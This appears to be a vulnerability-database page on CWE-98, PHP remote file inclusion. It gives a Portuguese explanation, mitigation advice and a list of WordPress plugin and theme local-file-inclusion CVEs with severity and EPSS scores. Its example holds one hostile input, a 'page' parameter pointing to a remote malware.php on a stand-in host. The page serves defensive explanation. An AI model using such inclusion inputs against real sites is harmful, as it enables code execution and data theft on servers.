Weaknesses of type CWE-98

1,358 results

Inclusão remota de arquivo

Ocorre quando a aplicação inclui dinamicamente um arquivo (via funções como `include()`, `require()` em PHP) sem validar corretamente a entrada do usuário. Um atacante fornece uma URL remota maliciosa e consegue executar código arbitrário no servidor, comprometendo completamente a aplicação.

Example

Uma página PHP recebe um parâmetro `page` e faz `include($_GET['page'])`. Um atacante passa `page=http://seuservidor.com/malware.php` e consegue executar o arquivo malicioso no contexto do servidor web, roubando dados ou instalando backdoors.

How to mitigate

Valide rigorosamente entrada de usuário: use lista branca de arquivos permitidos, não permita URLs remotas, desabilite as directives `allow_url_include` e `allow_url_fopen` no PHP, e sempre sanitize caminhos de arquivo.

CVE-2025-49070HIGHWordPress Elessi < 6.4.1 - Local File Inclusion VulnerabilityEPSS 0.7%CVE-2025-32549HIGHWordPress WPGYM <= 65.0 - Local File Inclusion VulnerabilityEPSS 0.7%CVE-2024-56282HIGHWordPress WPMozo Addons Lite for Elementor plugin <= 1.1.0 - Local File Inclusion vulnerabilityEPSS 0.7%CVE-2025-32668HIGHWordPress Real Estate Manager plugin <= 7.3 - Local File Inclusion vulnerabilityEPSS 0.7%CVE-2024-54270HIGHWordPress Axeptio plugin <= 2.5.4 - Local File Inclusion vulnerabilityEPSS 0.7%CVE-2024-3551CRITICALPenci Soledad Data Migrator <= 1.3.0 - Unauthenticated Local File InclusionEPSS 0.7%CVE-2024-5345HIGHResponsive Owl Carousel for Elementor <= 1.2.0 - Local File InclusionEPSS 0.7%CVE-2016-20078MEDIUMWordPress IMDb Profile Widget 1.0.8 Local File Inclusion via pic.phpEPSS 0.7%CVE-2025-52806HIGHWordPress JobSearch Plugin < 3.0.8 - Local File Inclusion VulnerabilityEPSS 0.7%CVE-2025-52728HIGHWordPress Responsive Posts Carousel WordPress Plugin Plugin <= 15.0 - Local File Inclusion VulnerabilityEPSS 0.7%CVE-2025-67981HIGHWordPress Besa theme <= 2.3.15 - Local File Inclusion vulnerabilityEPSS 0.7%CVE-2025-67982HIGHWordPress Urna theme <= 2.5.12 - Local File Inclusion vulnerabilityEPSS 0.7%CVE-2024-8392HIGHWordPress Post Grid Layouts with Pagination – Sogrid <= 1.5.6 - Authenticated (Admin+) Local File InclusionEPSS 0.7%CVE-2025-46454HIGHWordPress Meta Keywords & Description plugin <= 0.8 - Local File Inclusion VulnerabilityEPSS 0.7%CVE-2025-30891HIGHWordPress WpTravelly Plugin <= 1.8.7 - Local File Inclusion vulnerabilityEPSS 0.7%CVE-2025-39468HIGHWordPress Modal Survey plugin <= 2.0.2.0.1 - Local File Inclusion vulnerabilityEPSS 0.7%CVE-2026-75028HIGHWPCafe <= 3.0.18 - Authenticated (Contributor+) Local File Inclusion via 'food_menu_style' Elementor Widget SettingEPSS 0.7%CVE-2025-67616HIGHWordPress Mella theme <= 1.2.29 - Local File Inclusion vulnerabilityEPSS 0.7%CVE-2025-67615HIGHWordPress Myour theme <= 1.5.1 - Local File Inclusion vulnerabilityEPSS 0.7%CVE-2025-8913CRITICALWellChoose｜Organization Portal System - Local File InclusionEPSS 0.7%